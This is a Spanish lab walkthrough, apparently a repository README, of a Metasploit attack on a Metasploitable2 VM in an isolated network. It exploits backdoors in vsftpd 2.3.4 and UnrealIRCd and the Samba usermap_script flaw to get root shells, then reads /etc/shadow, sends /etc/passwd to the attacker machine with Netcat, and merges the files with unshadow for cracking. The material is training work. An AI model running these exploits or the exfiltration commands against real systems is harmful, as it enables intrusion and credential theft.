
Walkthrough completo de explotación con Metasploit contra Metasploitable2 — backdoor de vsftpd, Samba CVE-2007-2447, backdoor de UnrealIRCd, exfiltración con Netcat y preparación para el cracking de credenciales.
Un recorrido práctico de explotación con Metasploit Framework — desde la configuración de la base de datos PostgreSQL y el escaneo con db_nmap, pasando por tres shells de root vía vsftpd, Samba y UnrealIRCd, hasta la exfiltración de credenciales con Netcat.
Este repositorio documenta un compromiso completo de Metasploit contra Metasploitable2 en un laboratorio aislado de VirtualBox. Temas cubiertos:
db_nmap para guardar los resultados del escaneo directamente en la base de datosusermap_script)/etc/passwd y /etc/shadow con Netcat y combinarlos con unshadow| Máquina | Rol | Dirección IP |
|---|---|---|
| Kali Linux 2026.1 | Atacante | 192.168.1.4 |
| Metasploitable2 | Objetivo | 192.168.1.3 |
Red: 192.168.1.0/24 — red NAT completamente aislada dentro de VirtualBox.
# Start PostgreSQL and initialize the database (one time only)
sudo systemctl start postgresql
sudo msfdb init
# Launch Metasploit
msfconsole


msf6> db_status # Verify: Connected to msf. Connection type: postgresql.
msf6> workspace -a 178-metasploitable2
msf6> workspace # Confirm active workspace

msf6> db_nmap -A 192.168.1.0/24 -n

msf6> hosts
msf6> services

Se encontraron dos servidores FTP en Metasploitable2:
| Puerto | Servicio | Información |
|---|---|---|
| 21/tcp | ftp | vsftpd 2.3.4 |
| 2121/tcp | ftp | ProFTPD 1.3.1 |
En julio de 2011, el archivo fuente de vsftpd 2.3.4 fue comprometido: se insertó un backdoor que
abre un shell de root en el puerto 6200 cuando el nombre de usuario FTP contiene :). CVE: CVE-2011-2523.
Diff del código: https://pastebin.com/AetT9sS5
msf6> search type:exploit name:vsftpd
# Result: exploit/unix/ftp/vsftpd_234_backdoor (rank: excellent)
msf6> use exploit/unix/ftp/vsftpd_234_backdoor
msf6> info




msf6> set RHOSTS 192.168.1.3
msf6> set RPORT 21
msf6> set LHOST 192.168.1.4
msf6> exploit


meterpreter> shell
whoami # root
uname -a # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Extraer contraseñas con hash:
cat /etc/shadow | grep '$1'

Las versiones 3.0.0–3.0.25rc3 de Samba pasan metacaracteres de shell en el campo de nombre de usuario
directamente a /bin/sh mediante la opción username map script — antes de que ocurra la autenticación.
Metasploitable2 ejecuta Samba 3.0.20-Debian.
msf6> search type:exploit name:samba
# ~7 exploits found
msf6> use exploit/multi/samba/usermap_script
msf6> info



msf6> set RHOSTS 192.168.1.3
msf6> exploit


whoami # root
smbd --version # Version 3.0.20-Debian
Pestaña 2 — Kali (recibiendo):
nc -l -p 4567 > passwd.txt
Pestaña 1 — Shell de exploit (enviando):
cat /etc/passwd | nc 192.168.1.4 4567


Repite para /etc/shadow y luego combina:
unshadow passwd.txt shadow.txt > metasploitable_logins.txt
cat metasploitable_logins.txt
UnrealIRCd 3.2.8.1 se distribuyó con un backdoor en su código fuente. Enviar AB al puerto
6667 hace que el servidor ejecute cualquier comando posterior como root, sin requerir autenticación.
msf6> use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6> set payload cmd/unix/bind_netcat
msf6> set RHOSTS 192.168.1.3
msf6> set LHOST 192.168.1.4
msf6> set RPORT 6667
msf6> exploit


whoami # root
uname -a # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Opciones requeridas: